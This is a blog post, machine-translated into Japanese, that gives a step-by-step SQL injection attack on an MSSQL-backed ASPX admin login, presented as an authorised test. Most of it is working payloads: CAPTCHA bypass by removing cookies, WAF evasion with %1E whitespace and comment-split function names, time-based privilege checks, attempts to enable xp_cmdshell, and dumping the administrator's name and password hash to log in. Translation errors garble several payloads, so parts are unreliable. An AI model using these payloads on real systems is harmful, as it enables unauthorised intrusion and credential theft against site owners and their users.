Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382436

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

このテストは承認されたテストです。インジェクションポイントがバックグラウンドでログインするユーザー名は1049983-20220119230323513-1792880900.pngです

検証コードが存在し、検証はCookieを削除し、検証コードフィールド1049983-20220119230324012-211512998.png 1049983-20220119230324458-401317242.pngを削除することでバイパスできます。

単一の引用を追加し、エラー1049983-20220119230325019-891661708.pngを報告します

および '1'='1

接続リセット——は、WAF 1049983-20220119230325526-1849947822.pngによって傍受されます

ケースを変更して、スペースをMSSQLホワイトスペースに置き換えます[0x00-0x20]

%1と%1E'1 '=' 1

1049983-20220119230326046-384574200.png

クエリデータベースバージョン、MSSQL 2012 X64

%1EOR%1E1=@@バージョン%1E--

1049983-20220119230326573-700972169.png

現在のユーザーをクエリします

%1EOR%1E1=user%1E--

1049983-20220119230327082-370238786.png

現在のユーザーがDBAおよびDB_OWNERであるかどうかをクエリします

; if(0=(select%1eis_srvrolemember( 'sysadmin')))waitfor%1edelay%1e'0:033605 '%1e--

; if(0=(select%1eis_srvrolemember( 'db_owner'))))

どちらも遅延があり、現在のユーザーはDBAまたはDB_OWNER 1049983-20220119230327604-2105801106.pngでもありません

XP_CMDSEHLLを実行してみてください。関連する権限はありません

; exec%1esp_configure%1e'show Advanced options '、1; reconfigure%1e-

; exec%1esp_configure%1e'xp_cmdshell '、1; reconfigure%1e-

1049983-20220119230328132-520648582.png 1049983-20220119230328579-1752454191.png

現在のデータベースを照会し、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(DB_NAME()%1E)%1E--

1049983-20220119230329110-639809469.png

関数名の文字を削除し、——WAFを返すことは通常、関数db_name()をフィルターします。 MSSQLとMSQLには、次のようないくつかの同様の機能があります。関数名とブラケットには、コメントやWhitespace文字で満たすことができます。

%1EOR%1E1=(DB_NAME/**/()%1E)%1E--

1049983-20220119230329676-1494737359.png 1049983-20220119230330157-1707607635.png

現在のデータベースのテーブルをクエリすると、接続リセット——はWAFによって傍受されます

%1EOR%1E1=(%1EINFORMATION_SCHEMA.TABLES%1E)%1E)from%1EOP%1E1%1ETABLE_NAME

1049983-20220119230330645-644931403.png

選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コメントを使用してコンマをコメントアウトできます。

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

まだ1049983-20220119230331164-1008694086.pngを傍受しました

Information_schema.tablesの文字を削除して、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 information_schem.tables -information_schem%0f。%0ftables

%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%

1049983-20220119230331689-857136990.png

テーブル名は、not in( 'table_1'、 'table_2' .)1049983-20220119230332232-445750851.pngで通過できます。

手動注入はこの方法を使用するには遅すぎます、すべてのテーブル名を一度にクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename(name)%1Efrom Bak_ptfl%0f.Sysobjects%

1049983-20220119230332834-614520212.png

テーブル名から判断すると、管理者のテーブルはappsadminである必要があり、テーブルのすべての列を一度にクエリする必要があります。

%1EOR%1E1=(SELECT/*USERNAME=*/%1 Equotename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

1049983-20220119230333363-1730830597.png

管理者のユーザー名とパスワードフィールドを取得します:adminname、パスワード。ユーザー名とパスワードをクエリします

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E-

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E--

1049983-20220119230333895-1353679920.png 1049983-20220119230334443-1048969040.png

復号化後、バックグラウンドへのログイン1049983-20220119230334904-1083242178.pngに正常にログインしました

要約

1。BPターゲットサイトのパケットキャプチャと、ターゲットシステムに検証コードがあることを発見しました

2.要求されたデータパケットのCookieパラメーターと値を削除し、検証コードパラメーターと値を削除します。

3.もう一度リクエストを行い、検証コードエラーを促す情報を見つけない

4.要求された投稿パケットのユーザー名に単一の引用符を追加して、エラーを報告する

username=amdin'password=admin

5。テストと「1」='1は表示できません。ターゲットシステムにはWAFがあります

username=amdin 'および' 1 '=' 1password=admin

6.キーワードのケースを変更し、スペースをMSSQLホワイトスパース([0x00-0x20])、つまり%1eに置き換えます。通常のエコーコンテンツを見ることができます

username=amdin '%1 andd%1e'1'='1password=admin

7.データベースバージョンをクエリします

username=amdin '%1EOR%1E1=@@ version%1e - password=admin

8。現在のユーザーをクエリします

username=amdin '%1EOR%1E1=user%1e - password=admin

9.現在のユーザーがDBAとDB_OWNERであるかどうかをクエリします。どちらも遅延があります。現在のユーザーはDBAでもDB_OWNERでもありません

username=amdin '; if(0=(select%1eis_srvrolemember(' sysadmin ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

username=amdin '; if(0=(select%1eis_srvrolemember(' db_owner ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

10.関連する権限なしでXP_CMDSEHLLを実行してみてください。

username=amdin '; exec%1ESP_CONFIGURE%1E'SHOW Advanced Options'、1; ReconFigure%1E - PassWord=admin

username=amdin '; exec%1esp_configure%1e'xp_cmdshell'、1; reconfigure%1e - password=admin

11.現在のデータベース名をクエリすると、接続リセット——がWAFによって傍受されます

username=amdin '%1eor%1e1=(db_name()%1e)%1e - password=admin

12.wafは、db_name()関数をインターセプトできます。ここでは、関数名と括弧を使用してコメント/** /またはwhitespace文字を入力して、現在のデータベース名を正常に取得できます。

username=amdin '%1eor%1e1=(db_name/**/()%1e)%1e - password=admin

13.現在のデータベーステーブルを取得すると、接続リセット——がWAFによって傍受されます

username=amdin '%1EOR%1E1=(SELECT%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA.TABLES%1E)%1E - PassWord=admin

14.選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コンマはコメントでコメントすることができますが、WAFによってまだ傍受されています。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME from%1einformation_schem.tables%1e)%1e - password=admin

15. information_schema.tablesの文字を削除し、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 Information_schema.Tables -Information_schema%0f。%0ftables、テーブル名を正常に取得します

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA%0F。%0FTABLES%1E)

16.すべてのテーブル名を一度にクエリします

username=amdin '%1EOR%1E1=(select/*username=*/%1equotename(name)%1efrom bak_ptfl%0f.Sysobjects%1ewhere%1extype=' u 'for xml path(' '))%1E-password=admin

17。テーブル名から判断すると、管理者のテーブルはAppSadminであり、テーブルのすべての列を一度に照会する必要があります。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1 EquoTename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

18.管理者のユーザー名とパスワードフィールドを取得:adminname、パスワード。ユーザー名とパスワードをクエリします

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E - PassWord=admin

username=amdin '

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E - PassWord=admin

20。ユーザー名のパスワードハッシュ値を復号化し、バックグラウンドに正常にログインします

オリジナルリンク:https://xz.aliyun.com/t/7487